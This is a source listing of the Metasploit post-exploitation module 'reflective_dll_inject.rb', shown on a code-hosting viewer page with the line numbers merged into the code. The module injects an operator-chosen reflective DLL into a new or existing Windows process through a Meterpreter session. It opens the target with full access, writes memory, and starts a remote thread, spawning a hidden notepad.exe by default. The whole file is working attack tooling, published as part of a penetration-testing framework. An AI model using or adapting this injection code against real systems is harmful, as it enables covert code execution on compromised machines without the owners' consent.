Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/reflective_dll_inject.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Priv8include Msf::Post::Windows::Process9include Msf::Post::Windows::ReflectiveDLLInjection1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Manage Reflective DLL Injection Module',16'Description' => %q{17This module will inject a specified reflective DLL into the memory of a18process, new or existing. If arguments are specified, they are passed to19the DllMain entry point as the lpvReserved (3rd) parameter. To read20output from the injected process, set PID to zero and WAIT to non-zero.21Make sure the architecture of the DLL matches the target process.22},23'License' => MSF_LICENSE,24'Author' => ['Ben Campbell', 'b4rtik'],25'Platform' => 'win',26'SessionTypes' => ['meterpreter'],27'References' => [28[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ]29],30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33stdapi_sys_process_attach34stdapi_sys_process_execute35stdapi_sys_process_get_processes36stdapi_sys_process_getpid37stdapi_sys_process_kill38stdapi_sys_process_memory_allocate39stdapi_sys_process_memory_write40stdapi_sys_process_thread_create41]42}43}44)45)46register_options(47[48OptPath.new('PATH', [true, 'Reflective DLL to inject into memory of a process']),49OptInt.new('PID', [false, 'Pid to inject', 0]),50OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe']),51OptString.new('ARGUMENTS', [false, 'Command line arguments']),52OptInt.new('WAIT', [false, 'Time in seconds to wait before reading output', 0])53], self.class54)5556register_advanced_options(57[58OptBool.new('KILL', [ true, 'Kill the injected process at the end of the task', false ])59]60)61end6263def run64dll_path = ::File.expand_path(datastore['PATH'])65if File.file?(dll_path)66run_dll(dll_path)67else68print_bad("Dll not found #{dll_path}")69end70end7172def pid_exists(pid)73mypid = client.sys.process.getpid.to_i7475if pid == mypid76print_bad('Can not select the current process as the injection target')77return false78end7980host_processes = client.sys.process.get_processes81if host_processes.empty?82print_bad('No running processes found on the target host.')83return false84end8586theprocess = host_processes.find { |x| x['pid'] == pid }8788!theprocess.nil?89end9091def launch_process92process_name = datastore['PROCESS']93process_name << '.exe' unless process_name.end_with?('.exe')9495print_status("Launching #{process_name} ...")96channelized = datastore['WAIT'] != 09798process = client.sys.process.execute(99process_name,100nil,101'Channelized' => channelized,102'Hidden' => true103)104105hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)106print_good("Process #{hprocess.pid} created.")107[process, hprocess]108end109110def inject_dll(process, dll_path)111library_path = ::File.expand_path(dll_path)112exploit_mem, offset = inject_dll_into_process(process, library_path)113[exploit_mem, offset]114end115116def open_process117pid = datastore['PID'].to_i118119if pid_exists(pid)120print_status("Opening handle to process #{datastore['PID']}...")121hprocess = client.sys.process.open(datastore['PID'], PROCESS_ALL_ACCESS)122print_good('Handle opened')123[nil, hprocess]124else125print_bad('Pid not found')126[nil, nil]127end128end129130def run_dll(dll_path)131print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?132if (datastore['PID'] > 0) || (datastore['WAIT'] == 0)133print_warning('Output unavailable')134end135136if datastore['PID'] <= 0137process, hprocess = launch_process138else139process, hprocess = open_process140end141142if hprocess.nil?143print_bad('Execution finished')144return145end146147exploit_mem, offset = inject_dll(hprocess, dll_path)148149if datastore['ARGUMENTS'].nil?150arg_mem = nil151else152arg_mem = copy_args(hprocess)153end154155print_status('Executing...')156hprocess.thread.create(exploit_mem + offset, arg_mem)157158if datastore['WAIT'] != 0159sleep(datastore['WAIT'])160end161162if (datastore['PID'] <= 0) && (datastore['WAIT'] != 0)163read_output(process)164end165166if datastore['KILL']167print_good("Killing process #{hprocess.pid}")168client.sys.process.kill(hprocess.pid)169end170171print_good('Execution finished.')172end173174def copy_args(process)175argssize = datastore['ARGUMENTS'].size + 1176arg_mem = process.memory.allocate(argssize, PAGE_READWRITE)177params = datastore['ARGUMENTS']178params += "\x00"179180process.memory.write(arg_mem, params)181arg_mem182end183184def read_output(process)185print_status('Start reading output')186old_timeout = client.response_timeout187client.response_timeout = 5188189begin190loop do191output = process.channel.read192if !output.nil? && !output.empty?193output.split("\n").each { |x| print_good(x) }194end195break if output.nil? || output.empty?196end197rescue Rex::TimeoutError => e198vprint_warning('Time out exception: wait limit exceeded (5 sec)')199rescue ::Exception => e200print_error("Exception: #{e.inspect}")201end202203client.response_timeout = old_timeout204print_status('End output.')205end206end207208209